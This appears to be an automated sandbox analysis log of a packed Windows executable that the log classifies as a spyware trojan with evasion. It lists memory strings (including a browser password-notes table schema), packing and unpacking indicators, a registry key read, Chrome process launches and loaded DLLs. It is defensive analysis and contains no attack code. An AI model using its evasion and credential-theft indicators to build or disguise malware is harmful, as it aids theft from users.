Source: file.exe, 00000000.00000003.2920866989.00000000066DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.3056175240.00000000065F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921867075.00000000066EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916951578.0000000006698000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2928402883.0000000006737000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919107876.0000000006601000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917117319.0000000006600000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2914834525.00000000063F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2915165237.0000000006255000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.3056637291.00000000069A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918712002.00000000066B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916215799.00000000065F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924677550.0000000006721000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916411023.0000000006255000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923335976.00000000066FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923549630.00000000066F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919931877.00000000066CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920378016.00000000065F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918141356.00000000066AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917597268.000000000676C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2972875636.000000000617C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2924821101.00000000065FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2915243864.0000000006601000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921489201.00000000065F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924289482.00000000065FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2922316791.00000000067E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2928914458.00000000065F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918522229.00000000066C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924418791.0000000006713000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921282468.00000000065F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919009714.000000000677C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916773405.0000000006699000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921569996.00000000066EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919722718.00000000066D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2928071531.0000000006600000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918810674.00000000065FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921177540.00000000066F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2922077923.00000000065F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923453851.00000000065F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917526823.00000000066B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917440318.00000000065F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2925745141.0000000006719000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2926066536.0000000006601000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2930547441.000000000672E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924038323.0000000006600000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917199626.00000000066A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2972181516.000000000620F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923912032.000000000680A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920658079.00000000066D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2926955144.000000000673E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921073873.00000000065F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2925340735.000000000671C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2932480694.000000000686C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920760907.00000000065F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2916506165.0000000006600000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923666712.00000000065F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920553934.00000000065F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921758313.00000000065F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2926218719.000000000673B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2915002282.000000000625F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917285437.00000000065F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2933424498.000000000673D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918426318.00000000065FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2917705403.00000000065F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924548718.00000000065FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921994556.00000000067E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918909814.00000000066BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920176234.00000000065FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2933633639.000000000688F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923093739.00000000066FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2921385118.00000000066EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2924161861.0000000006717000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918617545.00000000065FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2922636205.00000000066F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2922517377.00000000065FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919512427.0000000006780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920071205.00000000067AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2925595793.00000000065F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2925202245.00000000065F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2918232929.000000000676A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2922200014.00000000066E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2920969496.00000000067BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2925904361.0000000006844000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2919824621.00000000065F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2923792041.00000000066FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 1.0003675622693726
Source: file.exe	Static PE information: Section: rynzmkaj ZLIB complexity 0.994380953310431

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@11/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2598453504.0000000006174000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2637156202.0000000006178000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2598799023.0000000006155000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1936,i,999320680463987283,12953525220714786104,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1980,i,14963498340611043939,10306569883163506066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1936,i,999320680463987283,12953525220714786104,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1980,i,14963498340611043939,10306569883163506066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.5.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1793536 > 1048576

Source: file.exe

Static PE information: Raw size of rynzmkaj is bigger than: 0x100000 < 0x190400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.f90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rynzmkaj:EW;iuynvrof:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rynzmkaj:EW;iuynvrof:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1b8798 should be: 0x1bf5dd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rynzmkaj
Source: file.exe	Static PE information: section name: iuynvrof
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B316B9 push edi; mov dword ptr [esp], edx	0_2_06B32857
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B316B9 push 44CA45BBh; mov dword ptr [esp], edi	0_2_06B3286C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B316B9 push ebp; mov dword ptr [esp], esp	0_2_06B32C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B386B9 push 704C19F7h; mov dword ptr [esp], ecx	0_2_06B386CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B396B9 push ebx; ret	0_2_06B396C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B316A8 push 05D3D246h; mov dword ptr [esp], edx	0_2_06B326EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B33EAE push 361E9CF2h; mov dword ptr [esp], esi	0_2_06B33EC5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B3C69F push ecx; mov dword ptr [esp], ebp	0_2_06B3C6B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B36683 push edi; mov dword ptr [esp], 0F7BB8D9h	0_2_06B36698
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06B36E81 push ecx; mov dword ptr [esp], 7EFFED0Eh	0_2_06B37C4A
